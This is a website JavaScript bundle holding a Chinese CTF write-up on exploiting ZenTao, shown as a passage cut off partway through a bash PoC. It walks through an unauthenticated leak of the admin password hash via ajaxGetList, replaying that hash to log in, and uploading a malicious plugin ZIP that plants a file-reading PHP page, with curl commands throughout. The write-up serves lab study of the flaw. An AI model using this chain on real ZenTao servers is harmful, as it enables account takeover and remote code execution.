\u5bf9\u6587\u6863\u7684\u7ec6\u81f4\u6821\u5bf9\uff01"]}),"\n",(0,s.jsx)(t.li,{children:"\u5982\u679c\u6709\u4efb\u4f55\u60f3\u6cd5\u53ef\u4ee5\u8054\u7cfb\u6211\u4eecDataWhale\u4e5f\u6b22\u8fce\u5927\u5bb6\u591a\u591a\u63d0\u51faissue\u3002"}),"\n"]}),"\n",(0,s.jsx)(t.h2,{id:"\u516b\u5173\u6ce8\u6211\u4eec",children:"\u516b\u3001\u5173\u6ce8\u6211\u4eec"}),"\n",(0,s.jsx)(t.div,{align:"center",children:(0,s.jsx)(t.img,{src:"https://raw.githubusercontent.com/datawhalechina/easy-rl/master/docs/res/qrcode.jpeg",width:"250",height:"270",alt:"Datawhale\u662f\u4e00\u4e2a\u4e13\u6ce8AI\u9886\u57df\u7684\u5f00\u6e90\u7ec4\u7ec7\uff0c\u4ee5\u201cfor the learner\uff0c\u548c\u5b66\u4e60\u8005\u4e00\u8d77\u6210\u957f\u201d\u4e3a\u613f\u666f\uff0c\u6784\u5efa\u5bf9\u5b66\u4e60\u8005\u6700\u6709\u4ef7\u503c\u7684\u5f00\u6e90\u5b66\u4e60\u793e\u533a\u3002\u5173\u6ce8\u6211\u4eec\uff0c\u4e00\u8d77\u5b66\u4e60\u6210\u957f\u3002"})}),"\n",(0,s.jsx)(t.h2,{id:"license",children:"LICENSE"}),"\n",(0,s.jsxs)(t.p,{children:[(0,s.jsx)(t.a,{rel:"license",href:"http://creativecommons.org/licenses/by-nc-sa/4.0/",children:(0,s.jsx)(t.img,{alt:"\u77e5\u8bc6\u5171\u4eab\u8bb8\u53ef\u534f\u8bae",style:{borderWidth:"0"},src:"https://img.shields.io/badge/license-CC%20BY--NC--SA%204.0-lightgrey"})}),(0,s.jsx)(t.br,{}),"\u672c\u4f5c\u54c1\u91c7\u7528",(0,s.jsx)(t.a,{rel:"license",href:"http://creativecommons.org/licenses/by-nc-sa/4.0/",children:"\u77e5\u8bc6\u5171\u4eab\u7f72\u540d-\u975e\u5546\u4e1a\u6027\u4f7f\u7528-\u76f8\u540c\u65b9\u5f0f\u5171\u4eab 4.0 \u56fd\u9645\u8bb8\u53ef\u534f\u8bae"}),"\u8fdb\u884c\u8bb8\u53ef\u3002"]})]})}function o(e={}){const{wrapper:t}={...(0,i.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(x,{...e})}):x(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>r,x:()=>d});var l=n(96540);const s={},i=l.createContext(s);function r(e){const t=l.useContext(i);return l.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function d(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:r(e.components),l.createElement(i.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/33a0cc41.f76ea6f0.js b/assets/js/33a0cc41.f76ea6f0.js new file mode 100644 index 0000000..c09ab1b --- /dev/null +++ b/assets/js/33a0cc41.f76ea6f0.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4869],{151:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>d,contentTitle:()=>l,default:()=>p,frontMatter:()=>r,metadata:()=>a,toc:()=>c});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7985\u9053/chandao_ajaxGetList_flag_wp","title":"\u7985\u9053 action.ajaxGetList \u672a\u6388\u6743\u6cc4\u9732\u5230 Getshell \u8bfb\u53d6 /flag WP","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/05.\u7985\u9053/01.chandao_ajaxGetList_flag_wp.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/05.\u7985\u9053","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7985\u9053/chandao_ajaxGetList_flag_wp","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7985\u9053/chandao_ajaxGetList_flag_wp","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/05.\u7985\u9053/01.chandao_ajaxGetList_flag_wp.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"CVE-2023-33979","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33979"},"next":{"title":"\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458 \u2014 PoC","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Simple Admin/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/"}}');var t=s(74848),i=s(28453);const r={},l="\u7985\u9053 action.ajaxGetList \u672a\u6388\u6743\u6cc4\u9732\u5230 Getshell \u8bfb\u53d6 /flag WP",d={},c=[{value:"0x01 \u73af\u5883\u4fe1\u606f",id:"0x01-\u73af\u5883\u4fe1\u606f",level:2},{value:"0x02 \u6f0f\u6d1e\u70b9\u5206\u6790",id:"0x02-\u6f0f\u6d1e\u70b9\u5206\u6790",level:2},{value:"0x03 \u4e3a\u4ec0\u4e48\u6cc4\u9732\u54c8\u5e0c\u53ef\u4ee5\u767b\u5f55",id:"0x03-\u4e3a\u4ec0\u4e48\u6cc4\u9732\u54c8\u5e0c\u53ef\u4ee5\u767b\u5f55",level:2},{value:"0x04 \u540e\u53f0\u63d2\u4ef6\u4e0a\u4f20 Getshell \u601d\u8def",id:"0x04-\u540e\u53f0\u63d2\u4ef6\u4e0a\u4f20-getshell-\u601d\u8def",level:2},{value:"0x05 \u5236\u4f5c\u63d2\u4ef6 ZIP",id:"0x05-\u5236\u4f5c\u63d2\u4ef6-zip",level:2},{value:"0x06 \u4e0a\u4f20\u63d2\u4ef6\u7684\u5751\u70b9",id:"0x06-\u4e0a\u4f20\u63d2\u4ef6\u7684\u5751\u70b9",level:2},{value:"0x07 \u5b89\u88c5\u63d2\u4ef6\u7684\u5751\u70b9",id:"0x07-\u5b89\u88c5\u63d2\u4ef6\u7684\u5751\u70b9",level:2},{value:"0x08 \u5b8c\u6574 Burp \u4ee3\u7406\u7248 PoC",id:"0x08-\u5b8c\u6574-burp-\u4ee3\u7406\u7248-poc",level:2},{value:"Bash + curl \u7248",id:"bash--curl-\u7248",level:3},{value:"Python requests \u7248",id:"python-requests-\u7248",level:3},{value:"0x09 Burp \u6293\u5305\u91cd\u70b9",id:"0x09-burp-\u6293\u5305\u91cd\u70b9",level:2},{value:"1. \u672a\u6388\u6743\u6cc4\u9732\u5386\u53f2",id:"1-\u672a\u6388\u6743\u6cc4\u9732\u5386\u53f2",level:3},{value:"2. \u83b7\u53d6\u767b\u5f55\u968f\u673a\u6570",id:"2-\u83b7\u53d6\u767b\u5f55\u968f\u673a\u6570",level:3},{value:"3. \u54c8\u5e0c\u91cd\u653e\u767b\u5f55",id:"3-\u54c8\u5e0c\u91cd\u653e\u767b\u5f55",level:3},{value:"4. \u4e0a\u4f20\u63d2\u4ef6 ZIP",id:"4-\u4e0a\u4f20\u63d2\u4ef6-zip",level:3},{value:"5. \u5b89\u88c5\u63d2\u4ef6",id:"5-\u5b89\u88c5\u63d2\u4ef6",level:3},{value:"6. \u8bfb\u53d6 flag",id:"6-\u8bfb\u53d6-flag",level:3},{value:"0x0a \u5229\u7528\u94fe\u603b\u7ed3",id:"0x0a-\u5229\u7528\u94fe\u603b\u7ed3",level:2},{value:"0x0b \u6e05\u7406\u75d5\u8ff9",id:"0x0b-\u6e05\u7406\u75d5\u8ff9",level:2}];function o(e){const n={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,i.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsxs)(n.h1,{id:"\u7985\u9053-actionajaxgetlist-\u672a\u6388\u6743\u6cc4\u9732\u5230-getshell-\u8bfb\u53d6-flag-wp",children:["\u7985\u9053 ",(0,t.jsx)(n.code,{children:"action.ajaxGetList"})," \u672a\u6388\u6743\u6cc4\u9732\u5230 Getshell \u8bfb\u53d6 ",(0,t.jsx)(n.code,{children:"/flag"})," WP"]})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2026-08-28 19:22:45"})]})})]}),"\n",(0,t.jsx)(n.h2,{id:"0x01-\u73af\u5883\u4fe1\u606f",children:"0x01 \u73af\u5883\u4fe1\u606f"}),"\n",(0,t.jsx)(n.p,{children:"\u76ee\u6807\u662f\u7985\u9053\u7cfb\u7edf\uff0c\u5165\u53e3\u5f62\u5f0f\u5982\u4e0b\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"/index.php?m=\u6a21\u5757\u540d&f=\u65b9\u6cd5\u540d\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u5f53\u524d\u91cd\u70b9\u63a5\u53e3\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"/index.php?m=action&f=ajaxGetList\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u672c\u5730\u9a8c\u8bc1\u73af\u5883\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"http://127.0.0.1:18088\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u5982\u679c\u662f\u8fdc\u7a0b\u9776\u673a\uff0c\u628a PoC \u91cc\u7684 ",(0,t.jsx)(n.code,{children:"BASE_URL"})," \u6539\u6210\u8fdc\u7a0b\u5730\u5740\u5373\u53ef\u3002"]}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsxs)(n.p,{children:["\u6ce8\u610f\uff1a\u73af\u5883\u91cc\u539f\u5148\u9057\u7559\u8fc7 ",(0,t.jsx)(n.code,{children:"/data/cmd.php"}),"\uff0c\u8fd9\u662f\u5386\u53f2 webshell\uff0c\u4e0d\u80fd\u4f5c\u4e3a\u672c\u9898\u89e3\u6cd5\u4f7f\u7528\u3002\u6b63\u5f0f\u94fe\u8def\u91cc\u4e0d\u4f9d\u8d56\u8be5\u6587\u4ef6\u3002"]}),"\n"]}),"\n",(0,t.jsx)(n.h2,{id:"0x02-\u6f0f\u6d1e\u70b9\u5206\u6790",children:"0x02 \u6f0f\u6d1e\u70b9\u5206\u6790"}),"\n",(0,t.jsxs)(n.p,{children:["\u7985\u9053\u914d\u7f6e\u91cc\u628a ",(0,t.jsx)(n.code,{children:"action.ajaxGetList"})," \u52a0\u5165\u4e86\u672a\u767b\u5f55\u53ef\u8bbf\u95ee\u7684\u65b9\u6cd5\u5217\u8868\uff1a"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-php",children:"$config->openMethods[] = 'action.ajaxgetlist';\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u5bf9\u5e94\u63a7\u5236\u5668\u903b\u8f91\u5927\u81f4\u5982\u4e0b\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-php",children:"public function ajaxGetList($objectType, $objectID)\n{\n $this->app->loadLang($objectType);\n $actions = $this->action->getList($objectType, $objectID);\n $actions = $this->action->buildActionList($actions);\n return $this->send($actions);\n}\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u8be5\u63a5\u53e3\u672c\u610f\u662f\u7ed9\u5bf9\u8c61\u8be6\u60c5\u9875\u5f02\u6b65\u52a0\u8f7d\u64cd\u4f5c\u5386\u53f2\uff0c\u4f46\u6ca1\u6709\u91cd\u65b0\u6821\u9a8c\u5f53\u524d\u7528\u6237\u662f\u5426\u6709\u6743\u9650\u67e5\u770b\u5bf9\u5e94\u5bf9\u8c61\u5386\u53f2\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u63a5\u53e3\u9700\u8981\u52a0 Ajax \u5934\uff0c\u5426\u5219\u54cd\u5e94\u4e3a\u7a7a\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:"X-Requested-With: XMLHttpRequest\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u8bbf\u95ee\u7528\u6237\u5bf9\u8c61\u5386\u53f2\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"curl -sS \\\n -H 'X-Requested-With: XMLHttpRequest' \\\n 'http://127.0.0.1:18088/index.php?m=action&f=ajaxGetList&objectType=user&objectID=15'\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u53ef\u4ee5\u770b\u5230\u7528\u6237 15 \u7684\u5bc6\u7801\u4fee\u6539\u5386\u53f2\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:'\u65e7\u503c\u4e3a "aa11c1eecc7dcdb46252f3ac31c45e30"\uff0c\u65b0\u503c\u4e3a "0f2797f2182804d0cc7f0b85d254c146"\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u6cc4\u9732\u51fa\u7684\u65b0\u503c\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"0f2797f2182804d0cc7f0b85d254c146\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u8fd9\u4e2a\u54c8\u5e0c\u521a\u597d\u4e5f\u662f\u5f53\u524d ",(0,t.jsx)(n.code,{children:"admin"})," \u7528\u6237\u7684\u6570\u636e\u5e93\u5bc6\u7801\u54c8\u5e0c\u3002"]}),"\n",(0,t.jsx)(n.h2,{id:"0x03-\u4e3a\u4ec0\u4e48\u6cc4\u9732\u54c8\u5e0c\u53ef\u4ee5\u767b\u5f55",children:"0x03 \u4e3a\u4ec0\u4e48\u6cc4\u9732\u54c8\u5e0c\u53ef\u4ee5\u767b\u5f55"}),"\n",(0,t.jsx)(n.p,{children:"\u7985\u9053\u524d\u7aef\u767b\u5f55\u65f6\u4e0d\u662f\u76f4\u63a5\u63d0\u4ea4\u660e\u6587\u5bc6\u7801\uff0c\u800c\u662f\u5148\u8bf7\u6c42\u968f\u673a\u6570\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"/index.php?m=user&f=refreshRandom\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u7136\u540e\u63d0\u4ea4\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"md5(md5(\u660e\u6587\u5bc6\u7801) + rand)\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u670d\u52a1\u7aef\u6821\u9a8c 32 \u4f4d\u5bc6\u7801\u53c2\u6570\u65f6\uff0c\u4f1a\u6267\u884c\u7c7b\u4f3c\u903b\u8f91\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-php",children:"if(strlen($password) == 32)\n{\n $hash = $this->session->rand ? md5($user->password . $this->session->rand) : $user->password;\n if($password == $hash) return $user;\n}\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u4e5f\u5c31\u662f\u8bf4\uff0c\u670d\u52a1\u7aef\u62ff\u6570\u636e\u5e93\u91cc\u7684 ",(0,t.jsx)(n.code,{children:"user->password"})," \u4e0e\u5f53\u524d session \u7684 ",(0,t.jsx)(n.code,{children:"rand"})," \u62fc\u63a5\u518d MD5\u3002"]}),"\n",(0,t.jsx)(n.p,{children:"\u56e0\u6b64\u53ea\u8981\u77e5\u9053\u6570\u636e\u5e93\u5bc6\u7801\u54c8\u5e0c\uff0c\u5c31\u53ef\u4ee5\u4e0d\u7206\u7834\u660e\u6587\u5bc6\u7801\uff0c\u76f4\u63a5\u6784\u9020\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"login_password = md5(leaked_db_hash + rand)\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u767b\u5f55\u6d41\u7a0b\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:'base=\'http://127.0.0.1:18088\'\ncj=$(mktemp)\n\nhash=\'0f2797f2182804d0cc7f0b85d254c146\'\nrand=$(curl -sS -c "$cj" "$base/index.php?m=user&f=refreshRandom")\npass=$(php -r \'echo md5($argv[1].$argv[2]);\' "$hash" "$rand")\n\ncurl -sS -b "$cj" -c "$cj" \\\n "$base/index.php?m=user&f=login&account=admin&password=$pass&passwordStrength=3"\n'})}),"\n",(0,t.jsxs)(n.p,{children:["\u767b\u5f55\u6210\u529f\u540e\uff0c",(0,t.jsx)(n.code,{children:"$cj"})," \u91cc\u4fdd\u5b58\u4e86\u6709\u6548\u7684 ",(0,t.jsx)(n.code,{children:"zentaosid"}),"\u3002"]}),"\n",(0,t.jsx)(n.h2,{id:"0x04-\u540e\u53f0\u63d2\u4ef6\u4e0a\u4f20-getshell-\u601d\u8def",children:"0x04 \u540e\u53f0\u63d2\u4ef6\u4e0a\u4f20 Getshell \u601d\u8def"}),"\n",(0,t.jsx)(n.p,{children:"\u767b\u5f55 admin \u540e\uff0c\u53ef\u4ee5\u8bbf\u95ee\u7985\u9053\u540e\u53f0\u63d2\u4ef6\u5b89\u88c5\u529f\u80fd\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"/index.php?m=extension&f=upload\n/index.php?m=extension&f=install\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u63d2\u4ef6 ZIP \u89e3\u538b\u540e\u4f1a\u8fdb\u5165\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"/data/zentao/extension/pkg/<\u63d2\u4ef6\u4ee3\u53f7>/\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u5b89\u88c5\u63d2\u4ef6\u65f6\uff0c\u4f1a\u628a\u63d2\u4ef6\u5305\u5185\u9664 ",(0,t.jsx)(n.code,{children:"db"}),"\u3001",(0,t.jsx)(n.code,{children:"doc"}),"\u3001",(0,t.jsx)(n.code,{children:"hook"})," \u4ee5\u5916\u7684\u76ee\u5f55\u590d\u5236\u5230\u7985\u9053\u5e94\u7528\u6839\u76ee\u5f55\u3002"]}),"\n",(0,t.jsx)(n.p,{children:"\u4f8b\u5982 ZIP \u5185\u5305\u542b\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"ctf_flag_ext/\n\u251c\u2500\u2500 doc/\n\u2502 \u2514\u2500\u2500 en.yaml\n\u2514\u2500\u2500 www/\n \u2514\u2500\u2500 data/\n \u2514\u2500\u2500 readflag.php\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u5b89\u88c5\u540e\u4f1a\u590d\u5236\u4e3a\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"/data/zentao/www/data/readflag.php\n"})}),"\n",(0,t.jsx)(n.p,{children:"Web \u8bbf\u95ee\u8def\u5f84\u5c31\u662f\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"/data/readflag.php\n"})}),"\n",(0,t.jsxs)(n.p,{children:[(0,t.jsx)(n.code,{children:"readflag.php"})," \u5185\u5bb9\uff1a"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-php",children:"<?php readfile('/flag');\n"})}),"\n",(0,t.jsx)(n.h2,{id:"0x05-\u5236\u4f5c\u63d2\u4ef6-zip",children:"0x05 \u5236\u4f5c\u63d2\u4ef6 ZIP"}),"\n",(0,t.jsxs)(n.p,{children:["\u63d2\u4ef6\u5305\u76ee\u5f55\u5fc5\u987b\u5e26\u4e00\u4e2a\u8bf4\u660e\u6587\u4ef6\uff0c\u6700\u5c0f ",(0,t.jsx)(n.code,{children:"doc/en.yaml"})," \u5982\u4e0b\uff1a"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-yaml",children:"code: ctf_flag_ext\nname: CTF Flag Extension\nversion: 1.0\nauthor: ctf\ndesc: ctf\nlicense: mit\ntype: extension\nzentaoVersion: all\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u5236\u4f5c\u547d\u4ee4\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:'work=$(mktemp -d)\nmkdir -p "$work/ctf_flag_ext/doc" "$work/ctf_flag_ext/www/data"\n\ncat > "$work/ctf_flag_ext/doc/en.yaml" <<\'YAML\'\ncode: ctf_flag_ext\nname: CTF Flag Extension\nversion: 1.0\nauthor: ctf\ndesc: ctf\nlicense: mit\ntype: extension\nzentaoVersion: all\nYAML\n\ncat > "$work/ctf_flag_ext/www/data/readflag.php" <<\'PHP\'\n<?php readfile(\'/flag\');\nPHP\n\ncd "$work"\nzip -q -r ctf_flag_ext.zip ctf_flag_ext\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u751f\u6210\u7684 ZIP \u8def\u5f84\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"$work/ctf_flag_ext.zip\n"})}),"\n",(0,t.jsx)(n.h2,{id:"0x06-\u4e0a\u4f20\u63d2\u4ef6\u7684\u5751\u70b9",children:"0x06 \u4e0a\u4f20\u63d2\u4ef6\u7684\u5751\u70b9"}),"\n",(0,t.jsxs)(n.p,{children:["\u4e0a\u4f20\u8bf7\u6c42\u5fc5\u987b\u5e26\u540c\u6e90 ",(0,t.jsx)(n.code,{children:"Referer"}),"\uff0c\u5426\u5219\u7985\u9053\u6846\u67b6\u7684 CSRF \u903b\u8f91\u4f1a\u6e05\u7a7a ",(0,t.jsx)(n.code,{children:"$_FILES"})," \u548c ",(0,t.jsx)(n.code,{children:"$_POST"}),"\uff0c\u5bfc\u81f4\u4f60\u660e\u660e\u53d1\u4e86 multipart\uff0c\u670d\u52a1\u7aef\u5374\u8fdb\u5165\u4e0d\u4e86\u4e0a\u4f20\u5206\u652f\u3002"]}),"\n",(0,t.jsx)(n.p,{children:"\u6b63\u786e\u4e0a\u4f20\u8bf7\u6c42\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:'curl -sS \\\n -b "$cj" -c "$cj" \\\n -H "Referer: $base/index.php?m=extension&f=upload" \\\n -H \'X-Requested-With: XMLHttpRequest\' \\\n -F "files[]=@$work/ctf_flag_ext.zip;filename=ctf_flag_ext.zip" \\\n "$base/index.php?m=extension&f=upload"\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u6210\u529f\u54cd\u5e94\u7c7b\u4f3c\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-json",children:'{"result":"success","callback":{"name":"loadInModal","params":"/index.php?m=extension&f=install&extension=ctf_flag_ext"}}\n'})}),"\n",(0,t.jsx)(n.h2,{id:"0x07-\u5b89\u88c5\u63d2\u4ef6\u7684\u5751\u70b9",children:"0x07 \u5b89\u88c5\u63d2\u4ef6\u7684\u5751\u70b9"}),"\n",(0,t.jsxs)(n.p,{children:[(0,t.jsx)(n.code,{children:"extension.install"})," \u7684 PHP \u65b9\u6cd5\u7b7e\u540d\u662f\uff1a"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-php",children:"public function install(\n $extension,\n $downLink = '',\n $md5 = '',\n $type = '',\n $overridePackage = 'no',\n $ignoreCompatible = 'no',\n $overrideFile = 'no',\n $agreeLicense = 'no',\n $upgrade = 'no'\n)\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u7985\u9053\u8fd9\u91cc\u7684\u53c2\u6570\u662f\u6309 URL \u53c2\u6570\u51fa\u73b0\u987a\u5e8f\u7ed1\u5b9a\u7684\uff0c\u4e0d\u8981\u4ee5\u4e3a\u53c2\u6570\u540d\u4e00\u5b9a\u4f1a\u751f\u6548\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u6240\u4ee5\u5b89\u88c5\u65f6\u8981\u628a\u524d\u9762\u7684\u7a7a\u53c2\u6570\u4e5f\u8865\u9f50\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:'curl -sS \\\n -b "$cj" -c "$cj" \\\n -H "Referer: $base/index.php?m=extension&f=install" \\\n "$base/index.php?m=extension&f=install&extension=ctf_flag_ext&downLink=&md5=&type=&overridePackage=no&ignoreCompatible=yes&overrideFile=yes&agreeLicense=yes&upgrade=no"\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u7136\u540e\u8bbf\u95ee\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:'curl -sS "$base/data/readflag.php"\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u5373\u53ef\u5f97\u5230\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"flag{12345}\n"})}),"\n",(0,t.jsx)(n.h2,{id:"0x08-\u5b8c\u6574-burp-\u4ee3\u7406\u7248-poc",children:"0x08 \u5b8c\u6574 Burp \u4ee3\u7406\u7248 PoC"}),"\n",(0,t.jsx)(n.p,{children:"\u4e0b\u9762\u8fd9\u4e2a PoC \u4f1a\u628a\u6240\u6709 HTTP \u8bf7\u6c42\u4ee3\u7406\u5230 Burp\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"http://127.0.0.1:8080\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u4f7f\u7528\u524d\u786e\u4fdd Burp \u5df2\u7ecf\u76d1\u542c ",(0,t.jsx)(n.code,{children:"127.0.0.1:8080"}),"\u3002"]}),"\n",(0,t.jsxs)(n.p,{children:["\u5982\u679c\u76ee\u6807\u662f HTTPS \u4e14\u8bc1\u4e66\u4e0d\u88ab\u4fe1\u4efb\uff0ccurl \u7248\u672c PoC \u7528 ",(0,t.jsx)(n.code,{children:"-k"}),"\uff0cPython \u7248\u672c PoC \u7528 ",(0,t.jsx)(n.code,{children:"verify=False"}),"\u3002"]}),"\n",(0,t.jsx)(n.h3,{id:"bash--curl-\u7248",children:"Bash + curl \u7248"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:'#!/usr/bin/env bash\nset -euo pipefail\n\nBASE_URL="${1:-http://127.0.0.1:18088}"\nBURP_PROXY="${BURP_PROXY:-http://127.0.0.1:8080}"\n\ncj=$(mktemp)\nwork=$(mktemp -d)\n\necho "[+] Target: $BASE_URL"\necho "[+] Burp proxy: $BURP_PROXY"\n\necho "[+] Step 1: leak password hash from action.ajaxGetList"\nleak_resp=$(curl -k -sS \\\n --proxy "$BURP_PROXY" \\\n -H \'X-Requested-With: XMLHttpRequest\' \\\n "$BASE_URL/index.php?m=action&f=ajaxGetList&objectType=user&objectID=15")\n\nhash=$(printf \'%s\' "$leak_resp" | grep -Eo \'[a-f0-9]{32}\' | tail -n 1)\necho "[+] leaked hash: $hash"\n\necho "[+] Step 2: get session rand"\nrand=$(curl -k -sS \\\n --proxy "$BURP_PROXY" \\\n -c "$cj" \\\n "$BASE_URL/index.php?m=user&f=refreshRandom")\n\necho "[+] rand: $rand"\n\necho "[+] Step 3: build login password md5(hash + rand)"\nlogin_pass=$(php -r \'echo md5($argv[1].$argv[2]);\' "$hash" "$rand")\necho "[+] login password: $login_pass"\n\necho "[+] Step 4: login as admin"\ncurl -k -sS \\\n --proxy "$BURP_PROXY" \\\n -b "$cj" -c "$cj" \\\n "$BASE_URL/index.php?m=user&f=login&account=admin&password=$login_pass&passwordStrength=3" \\\n >/dev/null\n\necho "[+] Step 5: make malicious extension zip"\nmkdir -p "$work/ctf_flag_ext/doc" "$work/ctf_flag_ext/www/data"\n\ncat > "$work/ctf_flag_ext/doc/en.yaml" <<\'YAML\'\ncode: ctf_flag_ext\nname: CTF Flag Extension\nversion: 1.0\nauthor: ctf\ndesc: ctf\nlicense: mit\ntype: extension\nzentaoVersion: all\nYAML\n\ncat > "$work/ctf_flag_ext/www/data/readflag.php" <<\'PHP\'\n<?php readfile(\'/flag\');\nPHP\n\n(\n cd 